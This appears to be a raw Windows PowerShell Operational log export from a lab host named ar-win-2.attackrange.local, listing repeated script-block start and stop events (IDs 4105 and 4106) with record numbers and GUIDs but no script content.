410515102150x0671292Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671291Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671290Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671289Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671288Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671287Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671286Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671285Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671284Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671283Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671282Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671281Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671280Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671279Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671278Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671277Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671276Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671275Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671274Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671273Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671272Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671271Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671270Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671269Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671268Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671267Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671266Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671265Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671264Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671263Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671262Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671261Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671260Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671259Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671258Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671257Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671256Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671255Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671254Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671253Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671252Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671251Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671250Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671249Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671248Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671247Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671246Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671245Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671244Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671243Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671242Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671241Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671240Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671239Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671238Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671237Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671236Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671235Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671234Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671233Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671232Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671231Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671230Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671229Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671228Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671227Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671226Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671225Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671224Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671223Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671222Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671221Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671220Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671219Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671218Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671217Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671216Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671215Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671214Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671213Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671212Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671211Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671210Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671209Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671208Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671207Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671206Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671205Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671204Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671203Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671202Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671201Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671200Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671199Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671198Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671197Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671196Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671195Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671194Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671193Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671192Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671191Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671190Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671189Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671188Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671187Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671186Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671185Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671184Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671183Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671182Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671181Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671180Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671179Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671178Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671177Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671176Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671175Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671174Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671173Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671172Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671171Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671170Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671169Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671168Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671167Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671166Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671165Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671164Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671163Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671162Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671161Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671160Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671159Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671158Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671157Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671156Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671155Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671154Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671153Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671152Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671151Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671150Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671149Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671148Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671147Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671146Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671145Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671144Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671143Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671142Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671141Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671140Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671139Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671138Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671137Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671136Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671135Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671134Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671133Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671132Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671131Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671130Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 